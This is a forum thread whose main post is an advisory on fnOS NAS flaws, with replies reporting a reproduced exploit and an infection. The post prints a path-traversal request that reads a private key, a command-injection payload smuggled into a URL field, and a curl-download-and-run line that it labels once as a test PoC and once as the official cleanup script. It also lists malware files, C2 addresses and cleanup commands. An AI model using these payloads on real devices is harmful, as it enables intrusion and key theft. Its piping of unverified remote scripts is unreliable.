{"topic":{"id":15504,"title":"FnOS 出现严重的安全漏洞","slug":"topic","categoryId":4,"createdAt":"2026-01-31 15:09:27.269968","bumpedAt":"2026-02-04 06:36:43.363627","views":391,"postsCount":3,"highestPostNumber":3,"likeCount":4,"closed":false,"pinned":false,"excerpt":"🔒 飞牛 OS 严重安全漏洞调研报告 📌 一、漏洞涉及范围影响版本受影响版本：1.1.15 以下的所有版本 [104][126][191] 漏洞编号：暂无（官方未公开/未分配 CVE）[142][153] 危险等级：严重（高危）[153] 漏洞类型目录遍历导致的任意文件读取漏洞 [104] 命令执行漏洞（RCE） [104][103] 可能存在的授权绕过漏洞 [104][140] 实际影响范围暴露条件：fnOS 设备…","deletedAt":null,"isAnonymous":false,"category":{"id":4,"name":"谈笑风生","slug":"general","color":"25AAE2"},"author":{"id":5151,"username":"Soyo34325","name":"Soyo34325","avatarUrl":"/uploads/image/9d/e5/9de500d3afb55c0fe71e319832f2af75532222efe94bd3de9aea21f0f5c55707.avif"},"tags":[]},"posts":[{"id":70929,"postNumber":1,"raw":"## 🔒 飞牛 OS 严重安全漏洞调研报告\n\n---\n\n### 📌 一、漏洞涉及范围\n\n#### **影响版本**\n\n* **受影响版本** ：1.1.15 以下的所有版本 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[126]](https://linux.do/t/topic/1547697)[[191]](https://t.me/s/linux_do_channel?before=293300)\n* **漏洞编号** ：暂无（官方未公开/未分配 CVE）[[142]](https://www.v2ex.com/t/1189789)[[153]](https://t.me/s/DNSPODT)\n* **危险等级** ：严重（高危）[[153]](https://t.me/s/DNSPODT)\n\n#### **漏洞类型**\n\n1. **目录遍历导致的任意文件读取漏洞** [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)\n2. **命令执行漏洞（RCE）** [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[103]](https://linux.do/t/topic/1548846)\n3. **可能存在的授权绕过漏洞** [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[140]](https://www.nodeseek.com/post-602473-1)\n\n#### **实际影响范围**\n\n**暴露条件** ：fnOS 设备存在公网可达入口时风险显著上升 [[202]](https://t.me/s/DNSPODT)\n\n* 端口映射暴露\n* 反向代理暴露\n* 直连公网\n* 内网穿透服务暴露\n\n**攻击后果** ：\n\n* ✅ 可读取系统任意文件，包括：\n * 私钥文件（/usr/trim/etc/rsa_private_key.pem）\n * 历史记录（/root/.bash_history、/root/.psql_history）\n * 系统配置文件\n * 用户存储的所有文件 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)\n* ✅ 可执行任意命令，导致服务器完全失陷 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)\n* ✅ 植入后门组件，驻留在系统中 [[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)[[202]](https://t.me/s/DNSPODT)\n* ✅ 发起 DDoS 攻击等恶意行为，导致设备被暂停服务 [[175]](https://club.fnnas.com/archiver/?tid-52580.html)[[177]](https://github.com/bin456789/reinstall/issues/542)\n* ✅ 清理系统日志和审计日志，掩盖攻击痕迹 [[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)[[202]](https://t.me/s/DNSPODT)\n\n**实际受害案例** ：\n\n* 多个用户报告设备出现莫名断网、网络异常、丢包严重等问题 [[2]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53317)[[4]](https://club.fnnas.com/archiver/?tid-53317.html)\n* OVH 独服 DD 安装飞牛后出现对外攻击行为，导致服务被暂停 [[177]](https://github.com/bin456789/reinstall/issues/542)\n* 用户报告重装后问题依然存在，说明恶意代码可能驻留在数据盘 [[175]](https://club.fnnas.com/archiver/?tid-52580.html)[[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)\n\n---\n\n### 💻 二、漏洞复现技术细节\n\n#### **1. 目录遍历漏洞（任意文件读取）**\n\n**漏洞路径** ：\n\n* `/app-center-static/serviceicon/trim.media/`\n* `/app-center-static/xxx/xx/`\n\n**复现方法** [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)：\n\n```\n1GET /app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../usr/trim/etc/rsa_private_key.pem HTTP/1.1\n2Host: [目标 IP]\n```\n\n**原理说明** ：\n\n* 通过 `size` 参数传递路径穿越字符串\n* 默认向上穿越四级目录即可到达根目录\n* 可读取系统任意敏感文件\n\n#### **2. 命令执行漏洞（RCE）**\n\n**复现步骤** [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[140]](https://www.nodeseek.com/post-602473-1)：\n\n**步骤 1** ：建立 WebSocket 连接\n\n```\nws://[目标IP]\\:5666/websocket?type=main\n```\n\n**步骤 2** ：构造恶意请求体\n\n```\n[签名数据]={\"reqid\":\"697da669697da3bc000000090f31\",\"req\":\"appcgi.dockermgr.systemMirrorAdd\",\"url\":\"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo \",\"name\":\"2\"}\n```\n\n**关键说明** ：\n\n* 签名数据需使用浏览器 localStorage 中的 fnos-Secret 进行 HMAC-SHA256 签名\n* payload 放在请求体的 URL 参数中\n* 成功后会在/tmp 下创建文件 hacked20260131\n* 此漏洞需要先有有效账户（但可能存在 authorization bypass）[[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)\n\n**测试 POC 示例** [[140]](https://www.nodeseek.com/post-602473-1)：\n\n```\n1# 漏洞检测脚本\n2curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1 && \\\n3chmod +x /usr/local/bin/fnos_xxck1 && \\\n4fnos_xxck1\n```\n\n#### **3. 漏洞技术背景**\n\n**根本原因推测** [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)：\n\n* 后端服务（trim_app_center）缺少对请求路径的规范化处理\n* 可能使用了类似以下存在漏洞的代码模式：\n\n```\n1// 伪代码示例（存在漏洞）\n2func DownloadHandler(c *gin.Context) {\n3 filePath := c.Query(\"size\") // 直接获取 size 参数\n4 // 缺少：filePath = filepath.Clean(filePath)\n5 // 缺少：if !strings.HasPrefix(filePath, allowedDir) { ... }\n6 c.File(filePath) // 直接读取文件\n7}\n```\n\n**漏洞状态** ：\n\n* ❌ 此漏洞在最新版 1.1.15-1493 中仍然存在 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)\n* ❌ 可能存在前置的 authorization bypass 漏洞 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[140]](https://www.nodeseek.com/post-602473-1)\n\n---\n\n### 🏢 三、飞牛官方反应\n\n#### **官方采取的措施**\n\n**✅ 积极措施** ：\n\n1. **发布修复版本** ：已发布 1.1.15 版本修复漏洞 [[141]](https://x.com/landiantech/status/2017444352361144733)[[126]](https://linux.do/t/topic/1547697)\n2. **社区技术支持** ：发布恶意程序分析和专杀脚本 [[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)[[178]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53320)\n3. **安全建议** ：建议用户升级至 1.1.15 版本并关闭公网映射 [[140]](https://www.nodeseek.com/post-602473-1)[[202]](https://t.me/s/DNSPODT)\n\n**📋 官方建议** （来源：社区回应）[[140]](https://www.nodeseek.com/post-602473-1)：\n\n1. 确认当前飞牛系统版本已升级至最新版本 1.1.15\n2. 确认在关闭公网端口映射情况下，是否仍有异常上传行为\n3. 确认设备公网访问场景下，使用 HTTPS 与 FNID 加密访问方式\n\n#### **官方反应存在的问题**\n\n**❌ 严重缺陷** ：\n\n1. **未发布正式安全公告** [[101]](https://www.landiannews.com/archives/111674.html)[[141]](https://x.com/landiantech/status/2017444352361144733)[[102]](https://www.nodeseek.com/post-602300-1)\n\n * 官方已修复但未发布安全公告\n * 未主动使用短信或邮件通知受影响用户\n * 蓝点网批评：飞牛似乎选择当\"鸵鸟\"[[141]](https://x.com/landiantech/status/2017444352361144733)\n2. **回应被质疑甩锅** [[102]](https://www.nodeseek.com/post-602300-1)[[101]](https://www.landiannews.com/archives/111674.html)\n\n * 官方回应：\"建议用户使用 HTTPS，避免 HTTP 明文访问\"\n * 网友质疑：部署 HTTPS 的用户也中招了\n * **HTTPS 无法防御应用层漏洞** ，只是传输加密，无法阻挡路径穿越攻击 [[140]](https://www.nodeseek.com/post-602473-1)\n3. **官方回应存在争议** [[101]](https://www.landiannews.com/archives/111674.html)\n\n * 蓝点网对官方说法持怀疑态度\n * 路径穿越漏洞与 HTTP/HTTPS 访问没有任何直接关系\n4. **补丁有效性存疑** [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[140]](https://www.nodeseek.com/post-602473-1)\n\n * 1.1.15 版本中漏洞仍然存在\n * 可能需要更高版本才真正修复\n5. **信息不透明** [[141]](https://x.com/landiantech/status/2017444352361144733)\n\n * 未说明漏洞技术细节\n * 未公布受影响版本的确切范围\n * 未分配 CVE 编号\n\n#### **社区与安全专家的反应**\n\n**📢 NodeSeek 的批评** [[102]](https://www.nodeseek.com/post-602300-1)：\n\n* 官方暂未承认 0day 漏洞\n* 仅回应\"建议使用 HTTPS，避免 HTTP 明文访问\"\n* 网友质疑：\"如果是 http 的问题，那整个程序圈，这么多用 http 的，早就被爆完了\"\n* 补丁与公告至今未见，用户仍在\"裸奔\"\n\n**📢 VPS.TOWN 的质疑** [[140]](https://www.nodeseek.com/post-602473-1)：\n\n1. **HTTPS 无法防御逻辑漏洞**\n2. **2FA 可能失效** ：若漏洞允许绕过鉴权模块直接读写系统文件，二步验证和强密码将形同虚设\n3. **重装系统的风险** ：单纯重装系统可能无效，恶意脚本可能驻留在数据盘\n\n**📢 LoopDNS 的专业分析** [[202]](https://t.me/s/DNSPODT)：\n\n* 官方已知该问题，建议升级至 1.1.15\n* 但论坛反馈即使仅使用 HTTPS 访问也可能出现同类驻留现象\n* 说明风险不应仅限定为 HTTP 明文通道\n\n---\n\n### 🛡️ 四、恶意程序分析（实际攻击案例）\n\n#### **后门组件特征** [[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)[[202]](https://t.me/s/DNSPODT)\n\n**恶意文件** ：\n\n* `/usr/bin/nginx`（伪装）\n* `/usr/trim/bin/trim_https_cgi`\n* `/usr/sbin/gots`\n* `/lib/modules/6.12.18-trim/snd_pcap.ko`（内核模块）\n\n**恶意进程** ：\n\n* 监听 57132 端口（无 PID 显示）\n* 清空系统日志信息\n* 删除 audit 审计日志\n* 访问恶意 IP 地址\n\n**网络连接** ：\n\n* **恶意 IP** ：\n * 45.95.212.102\n * 151.240.13.91\n * 20.89.168.131（下载源）\n* **恶意域名** ：\n * aura.kabot.icu\n * apiv2-liveupdate.fnnas.com\n * update-service.test.teiron-inc.cn\n\n#### **攻击链分析** [[202]](https://t.me/s/DNSPODT)\n\n**入侵阶段** ：\n\n1. 利用漏洞投放后门下载器\n2. 下载并执行二阶段载荷\n3. 追加随机字节规避哈希检测\n\n**持久化阶段** ：\n\n1. 写入 `/etc/rc.local`：`/sbin/gots x86 &`\n2. 创建 systemd 服务\n3. 追加 `/etc/modules` 内核模块 snd_pcap\n4. 修改 `/usr/trim/bin/system_startup.sh`\n\n**清除痕迹阶段** ：\n\n* 清空多目录日志\n* 删除审计日志\n* 清理安全相关日志\n\n**干扰业务阶段** ：\n\n* pkill 结束系统关键进程\n* 重命名/替换系统工具（如 cat）\n\n---\n\n### 🔧 五、应急处置建议\n\n#### **优先级 1（立即执行）** [[140]](https://www.nodeseek.com/post-602473-1)[[178]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53320)[[202]](https://t.me/s/DNSPODT)\n\n1. **立即暂停 Web UI 公网暴露**\n\n * 在防火墙或安全组中阻断 FnOS Web 管理端口对公网的开放\n * 或仅通过 SSH 隧道、VPN 访问管理后台\n2. **设置 IP 白名单**\n\n * 如果必须暴露端口，设置严格的 IP 白名单\n3. **封禁恶意 IP**\n\n```\n1# 封禁恶意 IP 地址\n2iptables -A OUTPUT -d 45.95.212.102 -j DROP\n3iptables -A OUTPUT -d 151.240.13.91 -j DROP\n4iptables -A OUTPUT -d 20.89.168.131 -j DROP\n```\n\n#### **优先级 2（尽快执行）** [[178]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53320)[[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)[[202]](https://t.me/s/DNSPODT)\n\n1. **升级系统** ：升级至 1.1.15 或更高版本（需验证是否真正修复）\n\n2. **运行专杀脚本** ：\n\n```\n1# 下载并执行官方专杀脚本\n2curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1\n3chmod +x /usr/local/bin/fnos_xxck1\n4fnos_xxck1\n```\n\n3. **手动检查** ：\n\n * 检查 `/tmp`、`/var/tmp` 及系统计划任务 (crontab) 是否有可疑脚本\n * 检查是否存在恶意文件（见上文）\n * 检查 `/etc/modules` 是否包含`snd_pcap`\n4. **清理后门** ：\n\n```\n1# 解除不可变属性\n2chattr -i /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi\n3\n4# 删除恶意文件\n5rm -f /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi\n6\n7# 清理启动项\n8sed -i '/gots/d' /etc/rc.local\n9\n10# 移除恶意内核模块\n11rm -f /lib/modules/*/snd_pcap.ko\n12sed -i '/snd_pcap/d' /etc/modules\n```\n\n#### **优先级 3（安全加固）** [[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)\n\n1. **修改所有密码** ：管理界面密码、SSH 密码\n2. **SSH 加固** ：\n * 禁止密码登录，仅允许私钥登录\n * 禁止 root 登录\n * 使用 fail2ban 自动封禁 SSH 登录失败的 IP\n3. **启用防火墙** ：打开飞牛自带防火墙和操作系统防火墙\n4. **监控网络** ：开启出站日志记录以便后续溯源\n\n---\n\n### 📊 六、总结与建议\n\n#### **风险评级**\n\n|项目 | 评估 |\n| --- | --- |\n|漏洞严重性|⚠️⚠️⚠️⚠️⚠️ 极高 |\n|影响范围|⚠️⚠️⚠️⚠️ 广泛（所有暴露公网的 1.1.15 以下版本）|\n|修复可用性|⚠️⚠️ 存疑（1.1.15 中仍存在漏洞）|\n|官方透明度|⚠️⚠️⚠️⚠️⚠️ 极低 |\n\n#### **给用户的建议**\n\n**🚨 紧急情况（已发现异常）** ：\n\n1. 立即断开公网连接\n2. 备份重要数据（注意数据盘可能已被植入恶意代码）\n3. 按照上述优先级 1-3 执行应急处置\n4. 考虑完全重装系统（需要彻底格式化系统盘和数据盘）\n5. 更改所有相关账户密码\n\n**✅ 预防措施（尚未发现异常）** ：\n\n1. 立即升级至 1.1.15 版本\n2. 关闭所有不必要的公网端口映射\n3. 使用 VPN 或 SSH 隧道访问管理后台\n4. 定期检查系统日志和异常进程\n5. 备份重要数据\n\n**⚠️ 重要提醒** ：\n\n* 即使已升级到 1.1.15，漏洞可能仍然存在 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)\n* 不要轻信\"使用 HTTPS 就能防御\"的说法 [[140]](https://www.nodeseek.com/post-602473-1)\n* 重装系统前必须彻底检查数据盘，否则可能被再次感染 [[140]](https://www.nodeseek.com/post-602473-1)[[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)\n\n---\n\n**信息来源与可靠性** ：\n\n* 技术细节：Mrxn's Blog（安全研究人员专业分析）[[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)\n* 官方分析：飞牛私有云论坛（社区主理人发布）[[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)\n* 恶意程序分析：LoopDNS 安全团队专业分析 [[202]](https://t.me/s/DNSPODT)\n* 官方反应：蓝点网、NodeSeek 等媒体 [[101]](https://www.landiannews.com/archives/111674.html)[[102]](https://www.nodeseek.com/post-602300-1)[[140]](https://www.nodeseek.com/post-602473-1)\n* 实际案例：GitHub Issue、V2EX 等社区报告 [[177]](https://github.com/bin456789/reinstall/issues/542)[[175]](https://club.fnnas.com/archiver/?tid-52580.html)\n\n**时效性说明** ：本次调研基于 2026 年 1 月 31 日的最新信息，漏洞仍在持续发展中，建议持续关注官方和社区更新。","cooked":"

🔒 飞牛 OS 严重安全漏洞调研报告

📌 一、漏洞涉及范围

影响版本

受影响版本 ：1.1.15 以下的所有版本 [104][126][191]
漏洞编号 ：暂无（官方未公开/未分配 CVE）[142][153]
危险等级 ：严重（高危）[153]

漏洞类型

目录遍历导致的任意文件读取漏洞 [104]
命令执行漏洞（RCE） [104][103]
可能存在的授权绕过漏洞 [104][140]

实际影响范围

暴露条件 ：fnOS 设备存在公网可达入口时风险显著上升 [202]

端口映射暴露
反向代理暴露
直连公网
内网穿透服务暴露

攻击后果 ：

✅ 可读取系统任意文件，包括：\n
- 私钥文件（/usr/trim/etc/rsa_private_key.pem）
- 历史记录（/root/.bash_history、/root/.psql_history）
- 系统配置文件
- 用户存储的所有文件 [104]
\n
✅ 可执行任意命令，导致服务器完全失陷 [104]
✅ 植入后门组件，驻留在系统中 [179][202]
✅ 发起 DDoS 攻击等恶意行为，导致设备被暂停服务 [175][177]
✅ 清理系统日志和审计日志，掩盖攻击痕迹 [179][202]

实际受害案例 ：

多个用户报告设备出现莫名断网、网络异常、丢包严重等问题 [2][4]
OVH 独服 DD 安装飞牛后出现对外攻击行为，导致服务被暂停 [177]
用户报告重装后问题依然存在，说明恶意代码可能驻留在数据盘 [175][179]

💻 二、漏洞复现技术细节

1. 目录遍历漏洞（任意文件读取）

漏洞路径 ：

/app-center-static/serviceicon/trim.media/
/app-center-static/xxx/xx/

复现方法 [104]：

1GET /app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../usr/trim/etc/rsa_private_key.pem HTTP/1.1\n2Host: [目标 IP]\n

原理说明 ：

通过 size 参数传递路径穿越字符串
默认向上穿越四级目录即可到达根目录
可读取系统任意敏感文件

2. 命令执行漏洞（RCE）

复现步骤 [104][140]：

步骤 1 ：建立 WebSocket 连接

ws://[目标IP]\\:5666/websocket?type=main\n

步骤 2 ：构造恶意请求体

[签名数据]={\"reqid\":\"697da669697da3bc000000090f31\",\"req\":\"appcgi.dockermgr.systemMirrorAdd\",\"url\":\"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo \",\"name\":\"2\"}\n

关键说明 ：

签名数据需使用浏览器 localStorage 中的 fnos-Secret 进行 HMAC-SHA256 签名
payload 放在请求体的 URL 参数中
成功后会在/tmp 下创建文件 hacked20260131
此漏洞需要先有有效账户（但可能存在 authorization bypass）[104]

测试 POC 示例 [140]：

1# 漏洞检测脚本\n2curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1 && \\\n3chmod +x /usr/local/bin/fnos_xxck1 && \\\n4fnos_xxck1\n

3. 漏洞技术背景

根本原因推测 [104]：

后端服务（trim_app_center）缺少对请求路径的规范化处理
可能使用了类似以下存在漏洞的代码模式：

1// 伪代码示例（存在漏洞）\n2func DownloadHandler(c *gin.Context) {\n3    filePath := c.Query(\"size\") // 直接获取 size 参数\n4    // 缺少：filePath = filepath.Clean(filePath)\n5    // 缺少：if !strings.HasPrefix(filePath, allowedDir) { ... }\n6    c.File(filePath) // 直接读取文件\n7}\n

漏洞状态 ：

❌ 此漏洞在最新版 1.1.15-1493 中仍然存在 [104]
❌ 可能存在前置的 authorization bypass 漏洞 [104][140]

🏢 三、飞牛官方反应

官方采取的措施

✅ 积极措施 ：

发布修复版本 ：已发布 1.1.15 版本修复漏洞 [141][126]
社区技术支持 ：发布恶意程序分析和专杀脚本 [179][178]
安全建议 ：建议用户升级至 1.1.15 版本并关闭公网映射 [140][202]

📋 官方建议 （来源：社区回应）[140]：

确认当前飞牛系统版本已升级至最新版本 1.1.15
确认在关闭公网端口映射情况下，是否仍有异常上传行为
确认设备公网访问场景下，使用 HTTPS 与 FNID 加密访问方式

官方反应存在的问题

❌ 严重缺陷 ：

未发布正式安全公告 [101][141][102]

官方已修复但未发布安全公告
未主动使用短信或邮件通知受影响用户
蓝点网批评：飞牛似乎选择当\"鸵鸟\"[141]

回应被质疑甩锅 [102][101]

官方回应：\"建议用户使用 HTTPS，避免 HTTP 明文访问\"
网友质疑：部署 HTTPS 的用户也中招了
HTTPS 无法防御应用层漏洞 ，只是传输加密，无法阻挡路径穿越攻击 [140]

官方回应存在争议 [101]

蓝点网对官方说法持怀疑态度
路径穿越漏洞与 HTTP/HTTPS 访问没有任何直接关系

补丁有效性存疑 [104][140]

1.1.15 版本中漏洞仍然存在
可能需要更高版本才真正修复

信息不透明 [141]

未说明漏洞技术细节
未公布受影响版本的确切范围
未分配 CVE 编号

社区与安全专家的反应

📢 NodeSeek 的批评 [102]：

官方暂未承认 0day 漏洞
仅回应\"建议使用 HTTPS，避免 HTTP 明文访问\"
网友质疑：\"如果是 http 的问题，那整个程序圈，这么多用 http 的，早就被爆完了\"
补丁与公告至今未见，用户仍在\"裸奔\"

📢 VPS.TOWN 的质疑 [140]：

HTTPS 无法防御逻辑漏洞
2FA 可能失效 ：若漏洞允许绕过鉴权模块直接读写系统文件，二步验证和强密码将形同虚设
重装系统的风险 ：单纯重装系统可能无效，恶意脚本可能驻留在数据盘

📢 LoopDNS 的专业分析 [202]：

官方已知该问题，建议升级至 1.1.15
但论坛反馈即使仅使用 HTTPS 访问也可能出现同类驻留现象
说明风险不应仅限定为 HTTP 明文通道

🛡️ 四、恶意程序分析（实际攻击案例）

后门组件特征 [179][202]

恶意文件 ：

/usr/bin/nginx（伪装）
/usr/trim/bin/trim_https_cgi
/usr/sbin/gots
/lib/modules/6.12.18-trim/snd_pcap.ko（内核模块）

恶意进程 ：

监听 57132 端口（无 PID 显示）
清空系统日志信息
删除 audit 审计日志
访问恶意 IP 地址

网络连接 ：

恶意 IP ：\n
- 45.95.212.102
- 151.240.13.91
- 20.89.168.131（下载源）
\n
恶意域名 ：\n
- aura.kabot.icu
- apiv2-liveupdate.fnnas.com
- update-service.test.teiron-inc.cn
\n

攻击链分析 [202]

入侵阶段 ：

利用漏洞投放后门下载器
下载并执行二阶段载荷
追加随机字节规避哈希检测

持久化阶段 ：

写入 /etc/rc.local：/sbin/gots x86 &
创建 systemd 服务
追加 /etc/modules 内核模块 snd_pcap
修改 /usr/trim/bin/system_startup.sh

清除痕迹阶段 ：

清空多目录日志
删除审计日志
清理安全相关日志

干扰业务阶段 ：

pkill 结束系统关键进程
重命名/替换系统工具（如 cat）

🔧 五、应急处置建议

优先级 1（立即执行） [140][178][202]

立即暂停 Web UI 公网暴露

在防火墙或安全组中阻断 FnOS Web 管理端口对公网的开放
或仅通过 SSH 隧道、VPN 访问管理后台

设置 IP 白名单

如果必须暴露端口，设置严格的 IP 白名单

封禁恶意 IP

1# 封禁恶意 IP 地址\n2iptables -A OUTPUT -d 45.95.212.102 -j DROP\n3iptables -A OUTPUT -d 151.240.13.91 -j DROP\n4iptables -A OUTPUT -d 20.89.168.131 -j DROP\n

优先级 2（尽快执行） [178][179][202]

\n
升级系统 ：升级至 1.1.15 或更高版本（需验证是否真正修复）
\n
\n
运行专杀脚本 ：
\n

1# 下载并执行官方专杀脚本\n2curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1\n3chmod +x /usr/local/bin/fnos_xxck1\n4fnos_xxck1\n

手动检查 ：

检查 /tmp、/var/tmp 及系统计划任务 (crontab) 是否有可疑脚本
检查是否存在恶意文件（见上文）
检查 /etc/modules 是否包含snd_pcap

清理后门 ：

1# 解除不可变属性\n2chattr -i /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi\n3\n4# 删除恶意文件\n5rm -f /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi\n6\n7# 清理启动项\n8sed -i '/gots/d' /etc/rc.local\n9\n10# 移除恶意内核模块\n11rm -f /lib/modules/*/snd_pcap.ko\n12sed -i '/snd_pcap/d' /etc/modules\n

优先级 3（安全加固） [179]

修改所有密码 ：管理界面密码、SSH 密码
SSH 加固 ：

禁止密码登录，仅允许私钥登录
禁止 root 登录
使用 fail2ban 自动封禁 SSH 登录失败的 IP

启用防火墙 ：打开飞牛自带防火墙和操作系统防火墙
监控网络 ：开启出站日志记录以便后续溯源

📊 六、总结与建议

风险评级

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

项目	评估
漏洞严重性	⚠️⚠️⚠️⚠️⚠️ 极高
影响范围	⚠️⚠️⚠️⚠️ 广泛（所有暴露公网的 1.1.15 以下版本）
修复可用性	⚠️⚠️ 存疑（1.1.15 中仍存在漏洞）
官方透明度	⚠️⚠️⚠️⚠️⚠️ 极低

给用户的建议

🚨 紧急情况（已发现异常） ：

立即断开公网连接
备份重要数据（注意数据盘可能已被植入恶意代码）
按照上述优先级 1-3 执行应急处置
考虑完全重装系统（需要彻底格式化系统盘和数据盘）
更改所有相关账户密码

✅ 预防措施（尚未发现异常） ：

立即升级至 1.1.15 版本
关闭所有不必要的公网端口映射
使用 VPN 或 SSH 隧道访问管理后台
定期检查系统日志和异常进程
备份重要数据

⚠️ 重要提醒 ：

即使已升级到 1.1.15，漏洞可能仍然存在 [104]
不要轻信\"使用 HTTPS 就能防御\"的说法 [140]
重装系统前必须彻底检查数据盘，否则可能被再次感染 [140][179]

信息来源与可靠性 ：

技术细节：Mrxn's Blog（安全研究人员专业分析）[104]
官方分析：飞牛私有云论坛（社区主理人发布）[179]
恶意程序分析：LoopDNS 安全团队专业分析 [202]
官方反应：蓝点网、NodeSeek 等媒体 [101][102][140]
实际案例：GitHub Issue、V2EX 等社区报告 [177][175]

时效性说明 ：本次调研基于 2026 年 1 月 31 日的最新信息，漏洞仍在持续发展中，建议持续关注官方和社区更新。

\n","createdAt":"2026-01-31 15:09:27.54253","updatedAt":"2026-01-31 15:09:27.54253","replyToPostNumber":null,"replyCount":0,"likeCount":0,"wordCount":2787,"liked":false,"bookmarked":false,"polls":[],"reactions":[],"wiki":false,"version":1,"publicVersion":1,"deletedAt":null,"isAnonymous":false,"user":{"id":5151,"username":"Soyo34325","name":"Soyo34325","avatarUrl":"/uploads/image/9d/e5/9de500d3afb55c0fe71e319832f2af75532222efe94bd3de9aea21f0f5c55707.avif","admin":false,"moderator":false,"signatureRaw":"ぜーんぶ弾けなーい！","signatureCooked":"

ぜーんぶ弾けなーい！

\n"}},{"id":70930,"postNumber":2,"raw":"复现成功了 :grinning_face_with_sweat:\n什么草台班子","cooked":"

复现成功了 😅
\n什么草台班子

\n","createdAt":"2026-01-31 15:10:19.945369","updatedAt":"2026-01-31 15:10:19.945369","replyToPostNumber":null,"replyCount":0,"likeCount":3,"wordCount":12,"liked":false,"bookmarked":false,"polls":[],"reactions":[{"reaction":"🤣️","count":3,"users":[{"id":5905,"username":"PipaQinse233","name":"PipaQinse233"},{"id":7720,"username":"xuanzha","name":null},{"id":7981,"username":"TwlnfuSprig","name":null}],"hasReacted":false},{"reaction":"❤️","count":3,"users":[{"id":5905,"username":"PipaQinse233","name":"PipaQinse233"},{"id":7720,"username":"xuanzha","name":null},{"id":7981,"username":"TwlnfuSprig","name":null}],"hasReacted":false}],"wiki":false,"version":1,"publicVersion":1,"deletedAt":null,"isAnonymous":false,"user":{"id":5151,"username":"Soyo34325","name":"Soyo34325","avatarUrl":"/uploads/image/9d/e5/9de500d3afb55c0fe71e319832f2af75532222efe94bd3de9aea21f0f5c55707.avif","admin":false,"moderator":false,"signatureRaw":"ぜーんぶ弾けなーい！","signatureCooked":"

ぜーんぶ弾けなーい！

\n"}},{"id":71044,"postNumber":3,"raw":"我就是升级到 1.1.15 后才中招的，木马有好几个自启动程序，伪装为 nginx 和 docker 的 service，同时还会破坏更新系统的下载源导致无法更新至 1.1.18.官方一直不承认就是 fnconnect 导致的。","cooked":"

我就是升级到 1.1.15 后才中招的，木马有好几个自启动程序，伪装为 nginx 和 docker 的 service，同时还会破坏更新系统的下载源导致无法更新至 1.1.18.官方一直不承认就是 fnconnect 导致的。

\n","createdAt":"2026-02-04 06:36:43.363627","updatedAt":"2026-02-04 06:36:43.363627","replyToPostNumber":null,"replyCount":0,"likeCount":1,"wordCount":69,"liked":false,"bookmarked":false,"polls":[],"reactions":[{"reaction":"😰️","count":1,"users":[{"id":5151,"username":"Soyo34325","name":"Soyo34325"}],"hasReacted":false},{"reaction":"❤️","count":1,"users":[{"id":5151,"username":"Soyo34325","name":"Soyo34325"}],"hasReacted":false}],"wiki":false,"version":1,"publicVersion":1,"deletedAt":null,"isAnonymous":false,"user":{"id":8002,"username":"Golphi_Alan","name":"Golphi Alan","avatarUrl":"/uploads/image/5b/12/5b12127678d2e2815e19ce91550ee76351b38b56eb2cd0847ad77bd907a6b18f.avif","admin":false,"moderator":false,"signatureRaw":null,"signatureCooked":null}}],"hasMore":false,"lastReadPostNumber":3,"hasUrlPostNumber":true}